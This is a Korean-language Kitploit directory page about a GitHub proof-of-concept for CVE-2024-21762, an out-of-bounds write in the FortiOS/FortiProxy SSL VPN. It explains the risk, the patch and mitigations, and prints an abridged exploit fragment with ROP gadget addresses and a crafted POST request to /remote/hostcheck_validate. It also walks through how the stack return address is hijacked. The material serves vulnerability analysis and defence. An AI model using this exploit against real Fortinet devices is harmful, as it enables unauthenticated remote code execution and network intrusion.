Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-21762-poc — CVE-2024-21762는 Fortinet의 FortiOS 및 FortiProxy 제품에서 SSL VPN 구성 요소에 존재하는 심각한 취약점입니다. | Kitploit
도구/GitHubGitHub/crackercat/cve-2024-21762-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubcrackercat/cve-2024-21762-poc

cve-2024-21762-poc

CVE-2024-21762는 Fortinet의 FortiOS 및 FortiProxy 제품에서 SSL VPN 구성 요소에 존재하는 심각한 취약점입니다.

저장소 보기
161년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cve-2024-21762-poc

CVE-2024-21762는 Fortinet의 FortiOS 및 FortiProxy 제품에서 SSL VPN 구성 요소에 존재하는 심각한 취약점입니다. 이 취약점으로 인해 인증되지 않은 원격 공격자가 특수하게 조작된 HTTP 요청을 통해 대상 시스템에서 임의 코드 또는 명령을 실행할 수 있으며, 시스템이 완전히 제어될 수 있습니다.

위험성: 이 취약점으로 인해 공격자는 어떠한 인증도 필요 없이 원격으로 임의 코드를 실행하여 영향을 받는 장치를 완전히 제어할 수 있습니다. 이로 인해 민감한 데이터 유출, 서비스 중단, 나아가 추가적인 네트워크 공격까지 발생할 수 있습니다.

공격 방법: 공격자가 이 취약점을 악용하는 주요 수단은 특수하게 조작된 HTTP 요청을 전송하여 SSL VPN 구성 요소의 경계를 벗어난 쓰기(out-of-bounds write) 취약점을 트리거하는 것입니다. 구체적으로, 공격자는 정교하게 구성된 요청을 통해 메모리의 데이터를 조작하여 궁극적으로 원격 코드 실행을 달성할 수 있습니다.

방어 조치: 이 취약점으로 인한 공격을 방지하려면 FortiOS 및 FortiProxy를 공식적으로 제공되는 최신 보안 버전으로 즉시 업그레이드하는 것이 좋습니다. 또한 SSL VPN 기능을 비활성화하는 것도 임시 방어 조치가 될 수 있습니다.


CVE-2024-21762 취약점 상세 분석: Fortinet FortiOS의 경계를 벗어난 쓰기 취약점

취약점 배경

CVE-2024-21762는 Fortinet FortiOS SSL VPN에서 발견된 고위험 취약점으로, 인증되지 않은 경계를 벗어난 쓰기 취약점에 해당합니다. 이 취약점은 원격 코드 실행(RCE)에 악용될 수 있어 기업 네트워크 보안에 위협이 됩니다.

FortiGate는 2024년 2월 여러 중·고위험 취약점을 수정하는 업데이트를 발표했습니다. 그중 이 글에서는 CVE-2024-21762의 악용 과정, 즉 이 취약점을 활용하여 원격 코드 실행을 달성하는 방법을 중점적으로 분석합니다.


취약점 악용 예제 코드(PoC)

다음 PoC 코드는 assetnote에서 제공한 것으로, 이 취약점을 악용하는 기본적인 단계를 보여줍니다.

# 간소화된 취약점 악용 코드 조각
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"  # SSL 핸드셰이크 포인터
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"  # getcwd 함수 포인터

pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # pivot 명령어 세트 1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # pivot 명령어 세트 2

rop = b""  # ROP 체인
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... 나머지 ROP 체인 내용 생략

# 위조된 요청 데이터
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body

# 위조된 요청 전송
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

수정 후 코드 분석

FortiOS 7.4.2와 7.4.3의 바이너리 파일을 비교한 결과, 수정된 코드는 함수 sub_18F4980에 있습니다. 수정 사항은 주로 다음 두 가지에 집중되어 있습니다:

  1. chunk 형식을 파싱할 때 chunk 길이에 대한 검증이 추가되었습니다. 디코딩된 길이가 16을 초과하면 불법으로 간주합니다.
  2. chunk trailer의 쓰기 로직이 수정되어 \r\n이 경계를 벗어나 쓰이는 것을 방지합니다.

취약점 악용 원리

  1. 경계를 벗어난 쓰기 트리거:

    • chunk를 파싱할 때 길이 필드가 디코딩된 후 0이면 chunk trailer 읽기가 트리거됩니다.
    • chunk trailer를 쓸 때 길이 필드에 따라 스택에 \r\n이 기록됩니다.
    • 길이 필드가 다수의 0으로 구성된 경우 반환 주소 근처에 \r\n이 경계를 벗어나 기록되도록 트리거됩니다.
  2. 스택 오버플로 및 하이재킹:

    • 정교하게 구성된 chunk 데이터를 통해 스택의 반환 주소를 덮어써 프로그램 제어 흐름을 하이재킹할 수 있습니다.
    • ROP 기술을 FortiOS의 메모리 레이아웃과 결합하여 원격 코드 실행을 달성합니다.

취약점 악용의 난이도

ROP 체인을 통한 하이재킹이 가능하지만, FortiGate 메인 프로그램의 /bin/sh는 명령을 직접 실행할 수 있는 기능이 없으므로 다른 악용 가능한 함수를 찾아야 합니다. 예를 들어, 위조된 구조체 포인터를 통해 SSL_do_handshake를 활용한 추가 공격을 수행할 수 있습니다.


취약점 악용 데모

기본 구성(웹 모드 비활성화)에서도 이 취약점은 여전히 악용될 수 있습니다.

취약점 악용 데모


결론

CVE-2024-21762는 비교적 높은 복잡도를 가진 취약점으로, 그 악용 과정은 FortiOS의 코드 로직과 메모리 레이아웃에 대한 깊은 이해가 필요합니다. 전통적인 CTF 문제와 비교할 때, 실제 취약점 악용은 더 복잡한 컨텍스트와 구조 분석이 필요합니다.


원문 링크

저자가 제공한 더 자세한 중국어 분석 기사는 다음에서 확인할 수 있습니다: 원문 주소

도구 다운로드